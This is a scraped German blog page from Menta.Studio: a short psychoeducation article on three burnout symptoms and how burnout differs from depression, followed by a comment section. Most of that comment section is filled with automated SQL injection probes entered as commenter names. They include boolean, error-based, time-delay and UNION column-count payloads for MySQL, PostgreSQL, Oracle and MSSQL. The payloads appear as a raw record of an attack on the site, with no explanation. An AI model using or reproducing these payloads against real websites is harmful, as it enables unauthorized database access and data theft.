So erkennst du einen Burnout - 3 Symptome die dich alarmieren sollten

26.08.2021

Ein hektischer Alltag, viel Stress im Arbeitsleben, Kinder um die man sich kümmern muss oder Uniarbeiten die gemacht werden müssen, können alles Auslöser für einen Burnout sein. Wenn man seine Grenzen immer wieder überschreitet und sich dauerhaft zu viel Stress aussetzt, so kommt es leicht dazu, dass man sich ausgebrannt fühlt.

Eine genaue Definition des Burn-out Syndrom gibt es nicht. Wie bei jeder Krankheit gibt es jedoch auch hier bestimmte Symptome, an denen man sie ausmachen kann.
Burnout heißt aus dem Englischen übersetzt ausgebrannt. Denn Betroffene Personen sind beim Burnout Syndrom wortwörtlich wie ausgebrannt. Doch wie kann es überhaupt so weit kommen?

Die Ursache ist hauptsichtlich Stress. Im Privat- und Arbeitsleben wird uns alles schnell mal ein wenig zu viel und das ist auch sehr normal. In den kritischen Bereich rutscht das Ganze, wenn man dauerhaft gestresst ist, keine Zeit mehr für sich hat, sich überarbeitet, seine Grenzen nicht kennt oder wahrnimmt und diese immer wieder überschreitet und mit vielen Dingen überfordert und am Ende ist. Über Monate oder auch Jahre hinweg halten das unsere Psyche und unser Körper nicht aus. Das führt in häufigsten Fällen zu einem Burnout.

Burnout: die 3 häufigsten Symptome
Es gibt 3 Anzeichen, für die für ein Burnout Syndrom sprechen. An diesen macht man es fest, ob die betroffene Person unter einem Burnout leidet.

Erschöpfung
Das erste Anzeichen ist Erschöpfung. Man fühlt sich ausgelaugt und energielos. Sogar die kleinsten Dinge erschöpfen einen. Morgens das Bett zu verlassen, scheint beinahe unmöglich. Lieber will man auf der Matratze liegen bleiben und sich im Schlafzimmer verkriechen. Besonders auf emotionaler Ebene spürt man diese Kraftlosigkeit.

Betroffene berichten von fehlender Energie und Überforderung. Alles erscheint einem sehr anstrengend und die Kraft alles auf der To-Do Liste zu erledigen ist einem abhandengekommen. Mit jeder Aufgabe ist man überfordert und fühlt sich wie erschlagen. Bei der Arbeit fallen einem häufiger die Augen zu und über den ganzen Tag hinweg lastet eine schwere Müdigkeit auf einem. Alles was uns mental zu schaffen macht, kann sich auch auf unsere körperliche Gesundheit auswirken. Deshalb ist es nicht selten, dass Betroffene auch von Schmerzen im Körper oder Magen-Darm-Beschwerden berichten.

Emotionale Distanz
Besonders auf der Arbeit macht sich das Gefühl von Entfremdung bemerkbar. Die Arbeit, welche einem vor einem Jahr noch Spaß gemacht hat, erscheint jetzt wie eine Belastung. Man ist frustriert und verbittert. Diese Verbitterung kann sich nicht nur gegen die Arbeit, sondern auch gegen Kollegen richten. Es entsteht eine emotionale Distanz und Abstumpfung

Verminderte Leistungsfähigkeit
Bei einem Burnout ist besonders die Leistungsfähigkeit betroffen. Der Haushalt fällt uns schwer und bei der Arbeit kriegt man kaum noch was geschafft. Die Tätigkeiten, die man hat, betrachtet man nur noch aus einem negativen Winkel. Die Lust und Freude sind einem abhandengekommen. Stattdessen empfindet man jetzt nur noch Lustlosigkeit und Erschöpfung. Zudem fällt es einem schwer sich zu konzentrieren und sich an Dinge zu erinnern.

Das können Sie tun
Diese Anzeichen können auch auf eine Depression hinweisen. Ein Burnout und eine Depression unterscheiden sich in bestimmten Aspekten stark voneinander. Bei einem Burnout liegt die Ursache in der Arbeit und außerberuflichen Tätigkeiten. Die meisten Symptome wirken sich deshalb auch hauptsächlich auf die Arbeit aus.

Von einer Depression spricht man, wenn die emotionale Distanz und die Entfremdung sich nicht nur auf die Arbeit, sondern auf alle Lebensbereiche auswirken. Zudem haben Betroffene ein geringes Selbstwertgefühl, fühlen sich hoffnungslos und haben in den schlimmsten Fällen auch Selbsttötungsgedanken. Diese Dinge sind bei einem Burnout nicht vorzufinden.

Was kann man gegen einen Burnout tun? Um die Müdigkeit, Erschöpfung und Energielosigkeit zu verbessern, gibt es Medikamente, welche man einnehmen kann. Jedoch ist das keine Langzeitlösung. Diese kann man nur mit einer Verhaltenstherapie erreichen. Außerdem ist es wichtig, dass man sich von den alten Mustern löst und versucht, seine Arbeit zu wechseln oder die Situation zu verändern.

Menta.Studio

Menta ist die erste digitale Plattform auf der Psychologen Inhalte zur Psychoedukation allen verfügbar machen.

Hilfe für Eltern - Esstörungen

Kinder mit Essstörung: Was Eltern tun können

by Menta.Studio

Angst und Panik

Achtsamkeit gegen Corona-Angst? 5 Tipps, wie du entspannt durch die Pandemie kommst

by Menta.Studio

Angst und Panik

Warum haben immer mehr Millennials Panikattacken?

by Menta.Studio

Comments

Thank you! Your submission has been received!

Oops! Something went wrong while submitting the form.

Your name) AND (SELECT 7408 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (ELT(7408=7408,1))),0x717a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (5481=5481

30.12.2022 19:02

(item.Comment)

Your name AND 2110=8557

30.12.2022 19:02

(item.Comment)

Your name AND SLEEP(5)-- AAHr

30.12.2022 19:03

(item.Comment)

Your name) AND SLEEP(5) AND (7895=7895

30.12.2022 19:03

(item.Comment)

Your name AND 2019=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (2019=2019) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(113)||CHR(113)||CHR(113)||CHR(62))) FROM DUAL)-- FKfp

30.12.2022 19:03

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name ORDER BY 2076#

30.12.2022 19:04

(item.Comment)

Your name ORDER BY 9429-- ivTA

30.12.2022 19:04

(item.Comment)

Your name AND 8789=CAST((CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (8789=8789) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(113)||CHR(113)||CHR(113)) AS NUMERIC)-- iCkD

30.12.2022 19:02

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- utfh

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- CsDB

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL#

30.12.2022 19:05

(item.Comment)

Your name ORDER BY 1-- Eqiz

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL-- QIrM

30.12.2022 19:03

(item.Comment)

Your name ORDER BY 1#

30.12.2022 19:04

(item.Comment)

Your name;SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(106)||CHR(121)||CHR(118),5) FROM DUAL--

30.12.2022 19:03

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name ORDER BY 1-- Nsce

30.12.2022 19:03

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name AND 8789=CAST((CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (8789=8789) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(113)||CHR(113)||CHR(113)) AS NUMERIC)

30.12.2022 19:02

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- oqdm

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL-- gZeN

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:05

(item.Comment)

Your name;SELECT PG_SLEEP(5)--

30.12.2022 19:03

(item.Comment)

Your name AND 5921=8452-- IZJx

30.12.2022 19:02

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name) ORDER BY 1#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- oUGT

30.12.2022 19:03

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL#

30.12.2022 19:05

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- kAhS

30.12.2022 19:03

(item.Comment)

Your name) AND 3336=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3336=3336) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(113))) AND (5519=5519

30.12.2022 19:02

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:05

(item.Comment)

Your name AND (SELECT 7408 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (ELT(7408=7408,1))),0x717a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- Nkxg

30.12.2022 19:02

(item.Comment)

Your name) WAITFOR DELAY '0:0:5' AND (2030=2030

30.12.2022 19:03

(item.Comment)

Your name AND 6412=(SELECT 6412 FROM PG_SLEEP(5))-- SkDa

30.12.2022 19:03

(item.Comment)

Your name,..(),,"''

30.12.2022 19:02

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:05

(item.Comment)

Your name ORDER BY 4665#

30.12.2022 19:05

(item.Comment)

Your name) AND 6270=6270 AND (3492=3492

30.12.2022 19:02

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL-- LalC

30.12.2022 19:03

(item.Comment)

Your name AND 3336=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(113)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3336=3336) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(113)))

30.12.2022 19:02

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- SEWj

30.12.2022 19:03

(item.Comment)

Your name);SELECT PG_SLEEP(5)--

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name) ORDER BY 9914-- vPSz

30.12.2022 19:03

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name WAITFOR DELAY '0:0:5'-- pHlG

30.12.2022 19:03

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- JHpc

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- Pxxx

30.12.2022 19:04

(item.Comment)

Your name ORDER BY 1#

30.12.2022 19:05

(item.Comment)

Your name AND SLEEP(5)

30.12.2022 19:03

(item.Comment)

Your name);SELECT SLEEP(5)#

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- oScr

30.12.2022 19:04

(item.Comment)

Your name) ORDER BY 9736#

30.12.2022 19:04

(item.Comment)

Your name ORDER BY 9792-- BUuB

30.12.2022 19:03

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL-- xsQG

30.12.2022 19:03

(item.Comment)

Your name) AND 2019=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113)||(SELECT (CASE WHEN (2019=2019) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||CHR(113)||CHR(113)||CHR(113)||CHR(62))) FROM DUAL) AND (2866=2866

30.12.2022 19:02

(item.Comment)

Your name);WAITFOR DELAY '0:0:5'--

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- wJGo

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL-- dLiw

30.12.2022 19:03

(item.Comment)

Your name) ORDER BY 1-- yCzN

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL#

30.12.2022 19:05

(item.Comment)

Your name) AND 7715=DBMS_PIPE.RECEIVE_MESSAGE(CHR(69)||CHR(121)||CHR(87)||CHR(100),5) AND (1982=1982

30.12.2022 19:03

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name) UNION ALL SELECT NULL#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- MHUP

30.12.2022 19:04

(item.Comment)

Your name AND 6270=6270-- WUwi

30.12.2022 19:02

(item.Comment)

Your name) UNION ALL SELECT NULL-- AnIR

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL-- tIMO

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL-- EOjH

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- gclf

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- drsV

30.12.2022 19:03

(item.Comment)

Your name AND (SELECT 7408 FROM(SELECT COUNT(*),CONCAT(0x7176716a71,(SELECT (ELT(7408=7408,1))),0x717a717171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

30.12.2022 19:02

(item.Comment)

30.12.2022 19:02

(item.Comment)

Your name) AND 6196=7246 AND (2839=2839

30.12.2022 19:02

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- iIOS

30.12.2022 19:03

(item.Comment)

Your name AND 6270=6270

30.12.2022 19:02

(item.Comment)

Your name AND 7715=DBMS_PIPE.RECEIVE_MESSAGE(CHR(69)||CHR(121)||CHR(87)||CHR(100),5)-- Uout

30.12.2022 19:03

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- nXNd

30.12.2022 19:03

(item.Comment)

Your name) AND 8789=CAST((CHR(113)||CHR(118)||CHR(113)||CHR(106)||CHR(113))||(SELECT (CASE WHEN (8789=8789) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(113)||CHR(113)||CHR(113)) AS NUMERIC) AND (9536=9536

30.12.2022 19:02

(item.Comment)

30.12.2022 19:03

(item.Comment)

Your name

30.12.2022 18:59

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL-- fqZt

30.12.2022 19:03

(item.Comment)

Your name AND 6412=(SELECT 6412 FROM PG_SLEEP(5))

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:05

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- OSaB

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL-- ZoUS

30.12.2022 19:04

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL-- YTbo

30.12.2022 19:03

(item.Comment)

Your name) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name;SELECT SLEEP(5)#

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL-- ZKXC

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL-- bgEB

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL#

30.12.2022 19:05

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:05

(item.Comment)

Your name AND 7715=DBMS_PIPE.RECEIVE_MESSAGE(CHR(69)||CHR(121)||CHR(87)||CHR(100),5)

30.12.2022 19:03

(item.Comment)

Your name'ZNDaJuBVOxcV

30.12.2022 19:02

(item.Comment)

Your name UNION ALL SELECT NULL-- tAPG

30.12.2022 19:03

(item.Comment)

Your name);SELECT DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(106)||CHR(121)||CHR(118),5) FROM DUAL--

30.12.2022 19:03

(item.Comment)

Your name) AND 6412=(SELECT 6412 FROM PG_SLEEP(5)) AND (8439=8439

30.12.2022 19:03

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:04

(item.Comment)

Your name;WAITFOR DELAY '0:0:5'--

30.12.2022 19:03

(item.Comment)

Your name WAITFOR DELAY '0:0:5'

30.12.2022 19:03

(item.Comment)

Your name

30.12.2022 18:59

(item.Comment)

Your name

30.12.2022 18:59

(item.Comment)

Your name UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#

30.12.2022 19:05

(item.Comment)